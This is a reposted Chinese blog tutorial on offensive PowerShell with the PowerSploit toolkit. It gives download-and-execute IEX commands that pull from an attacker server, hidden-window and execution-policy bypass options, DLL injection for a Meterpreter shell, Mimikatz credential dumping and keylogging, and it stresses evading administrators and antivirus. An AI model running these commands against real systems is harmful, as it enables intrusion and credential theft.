神兵利器

Powershell渗透利器的使用方法

字号+ 作者:阻圣 来源:转载 2016-11-24 19:11 我要评论( )

Powershell是Microsoft Windows命令行shell程序和脚本环境,它提供了令人难以置信的灵活性和功能来管理Windows系统,现在Windows系统上基本上都有它的存在。......

作者:阻圣

前言

Powershell是Microsoft Windows命令行shell程序和脚本环境,它提供了令人难以置信的灵活性和功能来管理Windows系统,现在Windows系统上基本上都有它的存在。正因为它的强大,才能被我们所利用,帮助我们进行渗透测试。

Powershell的优秀之处

1. 代码运行在内存中可以不去接触磁盘

2. 从另一个系统中下载代码并执行

3. 很多安全产品并不能监测到powershell的活动

4. cmd.exe通常被阻止运行,但是powershell不会。

各个Windows下powershell版本

Powershell运行选项

Powershell运行选项

以下介绍了渗透测试过程中我们经常要使用到的powershell运行选项

1
2
-WindowsStyle Hidden 隐藏自己的窗口
-ExecutionPolicy Bypass 绕过策略

Powershell脚本默认情况下无法在cmd下或双击执行,这时我们就可以使用这个选项绕过。

PowerSploit

PowerSploit是GitHub上面的一个安全项目,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持。

项目地址:https://github.com/PowerShellMafia/PowerSploit

一、代码执行(CodeExecution)

1. Invoke-DllInjection

2. Invoke-ReflectivePEInjection

3. Invoke-Shellcode

4. Invoke-WmiCommand

二、脚本修改(ScriptModification)

1. Out-EncodedCommand

2. Out-CompressedDll

3. Out-EncryptedScript

4. Remove-Comments

三、权限维持(Persistence)

1. New-UserPersistenceOption

2. New-ElevatedPersistenceOption

3. Add-Persistence

4. Install-SSP

5. Get-SecurityPackages

四、绕过杀毒软件(AntivirusBypass)

Find-AVSignature

五、信息收集(Exfiltration)

这个文件夹主要是收集目标主机上的信息。

六、信息侦察(Recon)

这个文件夹主要是以目标主机为跳板进行内网主机侦察。

搭建PowerSploit脚本服务器

1. 下载PowerSploit到服务器

下载PowerSploit

2. 启动Apache

3. 查看是否成功搭建

实战运用

由于篇幅问题,我们不可能针对每一个脚本都进行详细的介绍,所以这里我们来介绍一下实战中最常用到的脚本。

IEX远程下载脚本执行:

1
IEX(New-Object Net.WebClient).DownloadString(“脚本地址”)

获取Shell:

1. Invoke-DllInjection

将DLL文件注入到当前进程中

我们首先来生成一个DLL反弹马

DLL反弹马

在目标机上保存msf.dll到本地

msf.dll

我们下载Invoke-DllInjection脚本

Invoke-DllInjection脚本

运行一个隐藏进程并注入DLL反弹木马

DLL反弹木马

可以看见Meterpreter会话成功建立了

Meterpreter会话

2. Invoke-Shellcode

在当前进程中注入Shellcode

Powershell调用Windows API非常方便,所以也可以直接来执行Shellcode。PowerSploit也提供了一些Shellcode,看下图:

Shellcode

扩大成果-内网端口扫描

1. 我们先下载Invoke-Portscan

Invoke-Portscan

2. 结果

技术分享:渗透利器之Powershell

获取主机密码

为了不让管理员发现,我们不能再目标机上添加任何账户,这时候我们就需要来获取管理员密码来维持访问。这里我们就需要使用到脚本Invoke-Mimikatz,注意需要管理员权限。

1. 下载脚本

2. dump密码

1
Invoke-Mimikatz –DumpCreds

再来一个大杀器-键盘记录

这样它就进行键盘记录,不仅有键盘输入记录还有鼠标输入记录,而且还有很详细的时间,实战使用的时候,我们就要在放入后台运行。

漏洞探测-攻击进行时

下载脚本:

1
IEX(New-Object Net.WebClient).DownloadString("http://192.168.6.133/PowerSploit/Privesc/PowerUp.ps1")

Invoke-AllChecks:输出可识别的漏洞

自学指南-Get Help

脚本很多,很难一一介绍,剩下就要自己来尝试了,但是网上基本上找不到使用教程,所以就需要来获取帮助信息,来帮助自己学习。

比如Invoke-DllInjection

下载脚本:

1
IEX(New-Object Net.WebClient).DownloadString("http://192.168.6.133/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")

获取帮助信息:

1
Get-Help Invoke-DllInjection

查看事例:

1
Get-Help Invoke-DllInjection -Examples

查看详细信息:

1
Get-Help Invoke-DllInjection –Detailed

结束语

Powershell实在是太强大了,可以说是内网渗透利器,继续深入研究,下一篇文章我们就不再是使用别人的脚本了,本篇文章的作用主要还是在于引导,大家还是要多用多练,才能在实践中灵活的运用。

此文章为转载 !


 


本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Tools/211.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
网友点评
暂时未开启评论功能~